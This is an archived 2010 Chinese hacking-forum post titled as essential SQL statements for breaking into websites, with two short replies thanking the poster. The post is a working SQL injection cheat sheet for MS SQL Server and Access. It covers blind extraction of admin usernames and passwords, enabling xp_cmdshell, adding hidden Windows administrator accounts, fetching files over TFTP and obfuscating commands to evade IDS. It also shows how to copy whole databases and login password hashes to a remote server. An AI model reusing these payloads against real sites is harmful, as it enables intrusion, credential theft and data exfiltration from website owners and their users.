【3.A.S.T】网络安全爱好者's Archiver

黑客学习

冰吻六秒钟 发表于 2010-3-2 17:15

入侵网站必备Sql语句

[i=s] 本帖最后由 冰吻六秒钟 于 2010-3-3 02:08 编辑 [/i]

判断有无注入点

  ; and 1=1 and 1=2

  2.猜表一般的表的名称无非是admin adminuser user pass

  password 等..

  and 0(select count(*) from *)

  and 0(select

  count(*) from admin) ---判断是否存在admin这张表

  3.猜帐号数目 如果遇到00)--

  and 1=(select

  count(*) from admin where len(用户字段名称name)>0)

  and 1=(select count(*) from

  admin where len(密码字段名称password)>0)

  5.猜解各个字段的长度

  猜解长度就是把>0变换 直到返回正确页面为止

  and 1=(select count(*) from admin where

  len(*)>0)

  and 1=(select count(*) from admin where len(name)>6) 错误

  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

  and

  1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select

  count(*) from admin where len(password)>11) 正确

  and 1=(select count(*)

  from admin where len(password)>12) 错误 长度是12

  and 1=(select count(*) from

  admin where len(password)=12) 正确

  6.猜解字符

  and 1=(select count(*) from

  admin where left(name,1)=a) ---猜解用户帐号的第一位

  and 1= (select count(*) from admin

  where left(name,2)=ab)---猜解用户帐号的第二位

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

  这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

  group by users.id having 1=1--

  group by users.id, users.username,

  users.password, users.privs having 1= 1--

  ; insert into users values( 666,

  attacker, foobar, 0xffff )--

  UNION SELECT TOP 1 COLUMN_NAME

  FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE

  _NAME=logintable-

  UNION SELECT TOP 1 COLUMN_NAME FROM

  INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE

  COLUMN_NAME NOT IN (login_id)-

  UNION SELECT TOP 1

  COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

  TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

  (login_id,login_name)-

  UNION SELECT TOP 1

  login _name FROM logintable-

  UNION SELECT TOP 1 password FROM

  logintable where login_name=Rahul--

  看服务器打的补丁=出错了打了SP4补丁

  and 1=(select @@VERSION)--

  看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

  and

  1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

  判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

  and sa=(SELECT

  System_user)--

  and user_name()=dbo--

  and

  0(select user_name()--

  看xp_cmdshell是否删除

  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =

  xp_cmdshell)--

  xp_cmdshell被删除,恢复,支持绝对路径的恢复

  ;EXEC

  master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

  ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:

  inetpubwwwrootxplog70.dll--

  反向PING自己实验

  ;use master;declare @s

  int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod

  @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

  加帐号

  ;DECLARE @shell

  INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP

  _OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$

  1866574 /add--

  创建一个虚拟目录E盘:

  ;declare @o int exec

  sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run,

  NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w "默认Web站点" -v "e","e: "--

  访问属性:(配合写入一个webshell)

  declare @o int exec sp_oacreate

  wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe

  c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse

  爆库

  特殊技巧::%5c= 或者把/和 修改%5提交

  and 0(select top 1 paths from

  newtable)--

  得到库名(从1到5都是系统的id,6以上才可以判断)

  and 1=(select name from

  master.dbo.sysdatabases where dbid=7)--

  and 0(select count(*) from

  master.dbo.sysdatabases where name>1 and dbid=6)

  依次提交 dbid = 7,8,9....

  得到更多的数据库名

  and 0(select top 1 name from

  bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

  and 0 (select top

  1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

  and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and

  name=admin

  and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id

  and

  0(select top 1 name from bbs.dbo.syscolumns where id=18779569)

  得到一个admin的一个字段,假设为 user_id

  and 0(select top 1 name from

  bbs.dbo.syscolumns where id=18779569 and name not in

  (id,...)) 来暴出其他的字段

  and 0_id from BBS.dbo.admin where username>1)

  可以得到用户名

  依次可以得到密码。。。。。假设存在user_id username ,password 等字段

  and 0(select count(*) from master.dbo.sysdatabases where

  name>1 and dbid=6)

  and 0 (select top 1 name from

  bbs.dbo.sysobjects where xtype=U) 得到表名

  and 0(select top 1 name from

  bbs.dbo.sysobjects where xtype=U and name not in(Address))

  and

  0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

 and uid>(str(id))) 判断id值

  and 0(select top 1 name from

  BBS.dbo.syscolumns where id=773577794) 所有字段

  ?id=-1 union select

  1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

  ?id=-1 union select

  1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

  得到WEB路径

  ;create table [dbo].[swap] ([swappass][char](255));--

  and (select top 1

  swappass from swap)=1--

  ;CREATE TABLE newtable(id int IDENTITY(1,1),paths

  varchar(500)) Declare @test varchar(20) exec master..xp_regread

  @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEMCurrentControlSet

  ServicesW3SVCParametersVirtual Roots, @value_name=/, values=@test

  OUTPUT insert into paths (path) values(@test)--

  ;use ku1;--

  ;create

  table cmd (str image);-- 建立image类型的表cmd

  存在xp_cmdshell的测试过程:

  ;exec master..xp_cmdshell dir

  ;exec

  master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号

  ;exec

  master.dbo.sp_password null,jiaoniang$,1866574;--

  ;exec

  master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

  ;exec

  master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:*

  /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--

  ;exec

  master.dbo.xp_cmdshell net localgroup administrators jiaoniang$

  /add;--

  exec master..xp _servicecontrol start, schedule

  启动服务

  exec master..xp_servicecontrol start, server

  ;

  DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC

  SP_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user

  jiaoniang$ 1866574 /add

  ;DECLARE @shell INT EXEC SP_OACREATE

  wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,

  C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add

  ;

  exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

  ;declare @a sysname set @a=xp_+cmdshell exec @a dir c:

  ;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:

  ;declare @a;set @a=db_name();backup database @a to

  disk=你的IP你的共享目录bak.dat

  如果被限制则可以。

  select * from openrowset

  (sqloledb,server;sa;,select OK! exec master.dbo.sp_addloginhax)

  查询构造:

  SELECT * FROM news WHERE id=... AND topic=... AND .....

  adminand 1=(select count(*) from [user] where username=victim and

  right(left(userpass,01),1)=1) and userpass?

  select 123;--

  ;use

  master;--

  :a or name like fff%;-- 显示有一个叫ffff的用户哈。

  and 1(select

  count (email) from [user]);--

  ;update [users] set email=(select top 1 name

  from sysobjects where xtype=u and status>0) where name=ffff;--

  ;update

  [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)

  where name=ffff;--

  ;update [users] set email=(select top 1 name from

  sysobjects where xtype=u and id>581577110) where name=ffff;--

  ;update

  [users] set email=(select top 1 count(id) from password) where name=ffff;--

  ;update [users] set email=(select top 1 pwd from password where id=2) where

  name=ffff;--

  ;update [users] set email=(select top 1 name from password

  where id=2) where name=ffff;--

  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

  通过查看ffff的用户资料可得第一个用表叫ad

  然后根据表名ad得到这个表的ID 得到第二个表的名字

  insert into

  users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

  char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

  insert

  into users values( 667,123,123,0xffff)--

  insert into users values ( 123,

  admin--, password, 0xffff)--

  ;and user>0

  ;and (select count(*) from

  sysobjects)>0

  ;and (select count(*) from mysysobjects)>0

  //为access数据库

  枚举出数据表名

  ;update aaa set aaa=(select top 1

  name from sysobjects where xtype=u and status>0);--

  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。

  ;update aaa set

  aaa=(select top 1 name from sysobjects where xtype=u and status>0 and

  namevote);--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,一个个的读出,直到没有为止。

  读字段是这样:

  ;update aaa set aaa=(select top 1

  col_name (object_id(表名),1));--

  然后id=152 and

  exists(select * from aaa where aaa>5)出错,得到字段名

  ;update aaa set aaa=(select

  top 1 col_name(object_id(表名),2));--

  然后id=152 and

  exists(select * from aaa where aaa>5)出错,得到字段名

  [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

  update 表名 set 字段=(select top 1

  name from sysobjects where xtype=u and status>0 [ and name你得到的表名

  查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and

  status>0 and name not in(table1,table2,…)

  通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

  [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

  update 表名 set 字段= (select

  top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

  绕过IDS的检测[使用变量]

  ;declare @a sysname set @a=xp_+cmdshell

  exec @a dir c:

  ;declare @a sysname set @a=xp+_cm’+’dshell exec @a

  dir c:

  1、 开启远程数据库

  基本语法

  select * from

  OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

  参数: (1) OLEDB Provider name

  2、 其中连接字符串参数可以是任何端口用来连接,比如

  select * from

  OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,

  select * from table

  3.复制目标主机的整个数据库

  insert所有远程表到本地表。

  基本语法:

  insert into OPENROWSET(SQLOLEDB,

  server=servername;uid=sa;pwd=123, select * from table1) select * from table2

  这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

  insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

  192.168.0.1,1433;,select * from table1) select * from table2

  insert into

  OPENROWSET(SQLOLEDB,uid=sa;pwd=

  123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

  _sysdatabases)

  select * from master.dbo.sysdatabases

  insert

  into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

  192.168.0.1,1433;,select * from _sysobjects)

  select * from

  user _database.dbo.sysobjects

  insert into

  OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

  192.168.0.1,1433;,select * from _syscolumns)

  select * from

  user _database.dbo.syscolumns

  复制数据库:

  insert into

  OPENROWSET(SQLOLEDB,uid=sa;pwd=

  123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select *

  from database..table1

  insert into

  OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

  * from table2) select * from database..table2

  复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

  insert into

  OPENROWSET (SQLOLEDB,

  uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

  _sysxlogins) select * from database.dbo.sysxlogins

  得到hash之后,就可以进行暴力破解。

  遍历目录的方法: 先创建一个临时表:temp

  ;create table temp(id

  nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

  ;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表

  ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;--

  获得所有子目录的目录树结构,并寸入temp表中

  ;insert into temp(id) exec

  master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文件的内容

 ;insert

  into temp(id) exec master.dbo.xp_cmdshell dir c:;--

  ;insert into

  temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--

  ;insert

  into temp(id) exec master.dbo.xp _cmdshell cscript

  C:InetpubAdminScriptsadsutil.vbs enum w3svc

  ;insert into temp(id,num1)

  exec master.dbo.xp_dirtree c:;-- (xp_dirtree适用权限PUBLIC)

  写入表:

  语句1:and 1= (SELECT IS_SRVROLEMEMBER(sysadmin));--

  语句2:and 1=(SELECT IS_SRVROLEMEMBER (serveradmin));--

  语句3:and

  1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

  语句4:and 1=(SELECT

  IS_SRVROLEMEMBER(securityadmin));--

  语句5:and 1=(SELECT

  IS_SRVROLEMEMBER (securityadmin));--

  语句6:and 1=(SELECT

  IS_SRVROLEMEMBER(diskadmin));--

  语句7:and 1= (SELECT

  IS_SRVROLEMEMBER(bulkadmin));--

  语句8:and 1=(SELECT

  IS_SRVROLEMEMBER (bulkadmin));--

  语句9:and 1=(SELECT

  IS_MEMBER(db_owner));--

  把路径写到表中去:

  ;create table

  dirs(paths varchar(100), id int)--

  ;insert dirs exec

  master.dbo.xp_dirtree c:--

  and 0(select top 1 paths from

  dirs)--

  and 0 (select top 1 paths from dirs where paths not

  in(@Inetpub))--

  ;create table dirs1(paths varchar(100), id int)--

  ;insert dirs exec master.dbo.xp_dirtree e:web--

  and

  0(select top 1 paths from dirs1)--

  把数据库备份到网页目录:下载

  ;declare @a sysname; set @a=db_name();backup database @a to

  disk=e:webdown.bak;--

  and 1=(Select top 1 name from(Select top 12

  id,name from sysobjects where xtype=char(85)) T order by id desc)

  and

  1=(Select Top 1 col_name(object_id(USER_LOGIN),1)

  from sysobjects) 参看相关表。

  and 1=(select user_id from

  USER_LOGIN)

  and 0=(select user from USER_LOGIN where

  user>1)

  -=- wscript.shell example -=-

  declare @o int

  exec

  sp_oacreate wscript.shell, @o out

  exec sp_oamethod @o,

  run, NULL, notepad.exe

  ; declare @o int exec sp_oacreate

  wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--

  declare @o int, @f int, @t int, @ret int

  declare @line varchar(8000)

  exec sp_oacreate scripting.filesystemobject, @o out

  exec

  sp_oamethod @o, opentextfile, @f out, c:boot.ini, 1

  exec @ret =

  sp_oamethod @f, readline, @line out

  while( @ret = 0 )

  begin

  print @line

  exec @ret = sp_oamethod @f, readline, @line out

  end

  declare @o int, @f int, @t int, @ret int

  exec

  sp_oacreate scripting.filesystemobject, @o out

  exec

  sp_oamethod @o, createtextfile, @f out, c:inetpubwwwrootfoo.asp, 1

  exec @ret = sp_oamethod @f, writeline, NULL,

  declare @o int, @ret int

  exec sp_oacreate

  speech.voicetext, @o out

  exec sp _oamethod @o, register, NULL,

  foo, bar

  exec sp_oasetproperty @o, speed, 150

  exec

  sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us,

  528

  waitfor delay 00:00:05

  ; declare @o int, @ret int exec

  sp_oacreate speech.voicetext, @o out exec sp_oamethod @o,

  register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec

  sp_oamethod @o, speak, NULL, all your sequel servers are belong to us,

  528 waitfor delay 00:00:05--

  xp_dirtree适用权限PUBLIC

  exec

  master.dbo.xp_dirtree c:

  返回的信息有两个字段

  subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

  create table dirs(paths

  varchar(100), id int)

  建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

  insert dirs exec master.dbo.xp_dirtree c:

  只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果

冷酷鲨鱼 发表于 2010-4-16 21:02

{:Yem90:Y}收藏了。谢谢分享!

冷酷鲨鱼 发表于 2010-4-16 21:03

为什么没顶起

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.